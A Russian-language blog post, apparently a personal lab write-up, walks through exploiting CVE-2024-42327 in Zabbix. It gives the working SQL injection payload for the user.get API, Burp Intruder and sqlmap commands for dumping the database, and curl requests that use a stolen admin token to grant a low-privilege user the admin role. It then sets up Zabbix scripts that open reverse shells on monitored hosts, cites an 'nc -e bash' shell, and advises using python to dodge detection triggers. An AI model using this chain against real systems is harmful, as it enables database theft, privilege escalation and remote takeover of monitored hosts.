Разбор CVE-2024-42327, Zabbix

в 8:16, , рубрики: cve-2024-42327, zabbix, zabbix api, zabbix server, zabbix мониторинг

В недавнем времени выдалась возможность поковыряться с SQL injection в Zabbix ( — свободная система мониторинга статусов разнообразных сервисов компьютерной сети, серверов и сетевого оборудования, написанная Алексеем Владышевым).

Увидел несколько статьей на эту тему, которые кажется писал один и тот же человек, вкратце раскрыв детали уязвимости. Огромная благодарность этому человеку (или человекам), однако без дополнительного анализа и поиска информации не обошлось.

Статья - больше как инструкция для возможностей проверки и тестирования уязвимости. С использованием не только Burp, но и sqlmap, API самого Zabbix'a и найденные в открытом источнике эксплоиты.

Поехали!

SQL injection в API, edpoint user.get
Уязвимые версии Zabbix
6.0.0 - 6.0.31 (так же кажется где-то видел, что до 6.0.36 версии)
6.4.0 - 6.4.16
7.0.0

Подготовка

Приступим к установке zabbix необходимой для нас версии (ubuntu-6.0.1)

sudo apt install docker docker.io docker-compose
docker network create --subnet 172.20.0.0/16 --ip-range 172.20.240.0/20 zabbix-net
docker run --name mysql-server -t
-e MYSQL_DATABASE="zabbix"
-e MYSQL_USER="zabbix"
-e MYSQL_PASSWORD="zabbix_pwd"
-e MYSQL_ROOT_PASSWORD="root_pwd"
--network=zabbix-net
--restart unless-stopped
-d mysql:8.0
--character-set-server=utf8 --collation-server=utf8_bin
--default-authentication-plugin=mysql_native_password
docker run --name zabbix-java-gateway -t
--network=zabbix-net
--restart unless-stopped
-d zabbix/zabbix-java-gateway:ubuntu-6.0.1
docker run --name zabbix-server-mysql -t
-e DB_SERVER_HOST="mysql-server"
-e MYSQL_DATABASE="zabbix"
-e MYSQL_USER="zabbix"
-e MYSQL_PASSWORD="zabbix_pwd"
-e MYSQL_ROOT_PASSWORD="root_pwd"
-e ZBX_JAVAGATEWAY="zabbix-java-gateway"
--network=zabbix-net
-p 10051:10051
--restart unless-stopped
-d zabbix/zabbix-server-mysql:ubuntu-6.0.1
docker run --name zabbix-web-nginx-mysql -t
-e ZBX_SERVER_HOST="zabbix-server-mysql"
-e DB_SERVER_HOST="mysql-server"
-e MYSQL_DATABASE="zabbix"
-e MYSQL_USER="zabbix"
-e MYSQL_PASSWORD="zabbix_pwd"
-e MYSQL_ROOT_PASSWORD="root_pwd"
--network=zabbix-net
-p 80:8080
--restart unless-stopped
-d zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.1

Default web login and pass: Admin/zabbix

Предполагаем, что найденные креды пользователя имеют минимальные права в Zabbix.
Для чистоты эксперимента создадим тестовую группу "Users groups". Группа "Guest" нам не подойдет, потому как "Fronted access" у нее в дефолтном состоянии выставлен на "Internal". Так же бы нам подошла группа "Zabbix Administrators" & группа дебага.

Разбор CVE-2024-42327, Zabbix - 1

Перейдем к созданию роли. Оставим минимум доступа и обязательно доступ к API. (По дефолту выставляется чуть больше доступа, но предположим, что найденные креды постарались максимально ограничить)

Разбор CVE-2024-42327, Zabbix - 2

Тестовые креды:
test_cve
p2ssw0rd123

Разбор CVE-2024-42327, Zabbix - 3

Тестирование

Burp

Подготовка стенда завершена. Приступим тестированию уязвимости
Для начала откроем Burp и обратимся на api_jsonrpc.php для получения сессионного токена

{
"jsonrpc":"2.0",
"method":"user.login",
"params":{
"username":"test_cve",
"password":"p2ssw0rd123"
},
"id":1
}

Разбор CVE-2024-42327, Zabbix - 4

Далее говорится про SQLi Time-based blind в эндпоинте user.get, попробуем обратится к нему:
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"roleid",
"name",
"type",
"readonly AND (SELECT(SLEEP(5)))"
],
"userids": [
"1",
"2"
]
},
"id": 1,
"auth": "d5a70c4b476e176ad5891ad1a2341e1c"
}

Разбор CVE-2024-42327, Zabbix - 5

Выходит наш payload сработал. Уязвимость действительно присутствует.
Далее можем сформировать пейлоад AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_') и вычислить количество символов в наименовании БД.
После чего, отправить запрос в Intruder и перебирать каждый символ, пока не получим название БД
Intruder -> Sniper attack -> Payload type: Brute force -> Character set (цифры/буквы) -> minmax lenght =1 -> Выделить необходимый символ поиска

Разбор CVE-2024-42327, Zabbix - 6

SQLmap

Отлично, это все очень круто, но вручную подобное проверять будет достаточно проблематично.
Скопируем запрос из репитера в текстовый файл например sqli_zabb_post_req.txt и попробуем скормить sqlmap, например попробуем прочитать баннер:
SQLMap возможно не лучшее решение в продуктовой среде, но на тестовом стенде можем попробовать его.
sqlmap -r sqli_zabb_post_req.txt --technique=T -b --time-sec 3

Разбор CVE-2024-42327, Zabbix - 7

Отлично, теперь мы можем бить более точечно указав тип БД и идти дальше. Наименование БД нам тоже известно "zabbix" из теста с Burp.
Попробуем достать с БД всю информацию:
sqlmap -r sqli_zabb_post_req.txt --technique=T --dbms MySQL -D zabbix --time-sec 3 --all
Но в данном случае это будет очень долго. Как вариант добавить больше данных, чтобы сократить время поиска.

API zabbix + scripts python or curl

А пока sqlmap работает, попробуем подойти к вопросу с другой стороны.
Составим запрос, для проверки версии Zabbix:

Просмотрев слегка документацию по API нашел необходимый запрос
Запрос версии
(linux):
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"apiinfo.version","params":[],"id":1}'
(windows):
curl -X POST -k https://ip_address/api_jsonrpc.php -H "Content-Type: application/json" -d "{"jsonrpc":"2.0","method":"apiinfo.version","params":[],"id":1}"

В случае, если API доступен, нам выдаст версию Zabbix без учетных данных

В случае, если API доступен, нам выдаст версию Zabbix без учетных данных

Запрос на вход API:
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"test_cve","password":"p2ssw0rd123"},"id":1}'
Дополнительно в открытом источнике нашел PoC до RCE
Источник: https://github.com/BridgerAlderson/Zabbix-CVE-2024-42327-SQL-Injection-RCE
Однако опробовав предоставленный скрипт, RCE получить не удалось, все же в скрипте присутствует возможность извлечь session token админа.
Поэтому для начала проанализируем предоставленный код и удалим со скрипта лишнее (функции рев шела, ввод л.адреса и л.порта).
Предполагается, что с хоста, с которого выполняется атака есть необходимые библиотеки (их минимум) и Python.

Двигаемся дальше. Получив сессионный токен админа можем попробовать повысить свои привилегии с помощью API, чтобы получить полный доступ в веб интерфейсе Zabbix'a.

Повышение роли тестового пользователя через API

Покопавшись немного в документации, нашел возможность сменить роль нашего пользователя
Например получение списка пользователей с параметрами:
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"auth":"1a53530682a7722fba0d6633e98ab64b","id":1}' | grep "test_cve"

Разбор CVE-2024-42327, Zabbix - 9

Из этой информации нам нужно извлечь userid нашего пользователя "test_cve" и его roleid (userid:3 & roleid:5)
И в дополнении администратора (userid:1 & roleid:3)

Разбор CVE-2024-42327, Zabbix - 10

Теперь попробуем сменить роль нашего пользователя
Запрос (используется auth токен администратор):
curl -X POST -k http:/ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3", "roleid":"3"},"auth":"1a53530682a7722fba0d6633e98ab64b","id":1}'
Ответ
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
Роль успешно сменилась, теперь наш пользователь с ролью администратора и ему доступны все функции в веб интерфейсе

Разбор CVE-2024-42327, Zabbix - 11

Горизонтальное перемещение

LDAP

Далее можем зайти в настройки LDAP, ничего не меняя отправить запрос на обновление и отловить запрос c чем-то похожим на JWT токен:

Разбор CVE-2024-42327, Zabbix - 12

Попробовав декодировать данный токен (на jwt.io), можем получить необходимые данные и развить атаку дальше :

Разбор CVE-2024-42327, Zabbix - 13

Конечно же, этот вариант уместен в случае если настроен LDAP

Удаленное выполнение скриптов с помощью Zabbix

Теперь опробуем удаленное выполнение скриптов (подразумеваем, что на удаленном сервере настроена возможность удаленного выполнения команд):
Задаем имя скрипта -> Type: Script -> Execute on (выбираем где данный скрипт будет исполняться) -> Commands и вставляем сам скрипт (брал стандартный Python3 на revshells.com, можно конечно же использовать что-то вида "nc -e bash ip_address port", но nc/ncat может быть не на всех хостах, к тому же у команды безопасности может быть настроен тригер на nc/ncat, считаю что python/python3 кажется более легитимным)

Разбор CVE-2024-42327, Zabbix - 14

После чего перемещаемся в "Actions" добавляем условия и операции

Разбор CVE-2024-42327, Zabbix - 15

Теперь если агенты у нас пассивные, удаленное исполнение команд работает и мы все правильно настроили (/etc/zabbix/zabbix_agentd.conf, строка ServerActive закомментирована и имеется строка "EnableRemoteCommands=1"), то мы должны поймать запрос от удаленного хоста и получить rev shell

Разбор CVE-2024-42327, Zabbix - 16

И вот наш шел сработал

Разбор CVE-2024-42327, Zabbix - 17

Делаем вывод, что получив доступ до пользователя заббикса с ролью суперадмина(или любой другой, позволяющей создавать скрипты), мы можем получать удаленные доступы до других хостов под управлением заббикс, при наличии исполнения команд на удаленных хостах.

Дополнительно опробую возможность отправки скриптов с помощью API:

  1. Получим токен curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"test_cve", "password":"p2ssw0rd123"},"id":1}'

    Разбор CVE-2024-42327, Zabbix - 18
  2. Получение информации о узле по имени (выделим hostid:10516) curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"host.get","params":{"filter": {"host": ["hostname"]} },"auth":"fc523f26d819f5cccddcd830675514b5","id":1}'

    Разбор CVE-2024-42327, Zabbix - 19
  3. Получение списка скриптов: curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"script.get","params":{"output":"extend"},"auth":"588af5565413e089b84a4869c7fa12e4","id":1}' Выделяем нужный нам scriptid (scriptid:5)

    Разбор CVE-2024-42327, Zabbix - 20
  4. И нам выдаст ошибку {"jsonrpc":"2.0","error":{"code":-32500,"message":"Application error.","data":"Script is not allowed in manual host action: scope:1"},"id":1}

    Разбор CVE-2024-42327, Zabbix - 21

    Потому как при создании скрипта мы не указали ручное включение во вкладке скоуп Поэтому для теста создал клон нашего предыдущего скрипта, изменив скоуп.

    Разбор CVE-2024-42327, Zabbix - 22

    Изменив scriptid наш запрос выполнился curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"script.execute","params":{"scriptid":"6", "hostid":"10516"},"auth":"588af5565413e089b84a4869c7fa12e4","id":1}'

    Разбор CVE-2024-42327, Zabbix - 23

    Правда соединение было не долгим, поэтому лучше запускать скрипт в веб, с действием.

    Разбор CVE-2024-42327, Zabbix - 24

На этом все, благодарю за внимание!

В дополнение:
Nuclei
Несколько часов после изучения, удалось написать что-то похожее на шаблон для поиска версий Zabbix:

Разбор CVE-2024-42327, Zabbix - 25
Разбор CVE-2024-42327, Zabbix - 26

Однако при запуске nuclei -u http://ip_address -t zabbix_cve_template.yaml -- debug мне выдало очередное сообщение об ошибке:

Разбор CVE-2024-42327, Zabbix - 27

Буду максимально благодарен, если кто-то подскажет молодому, что именно не так в шаблоне.

Отдельная благодарность статье, которая позволила разобраться с CVE, и ее автору @denis-19

Автор: Evg3n1

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js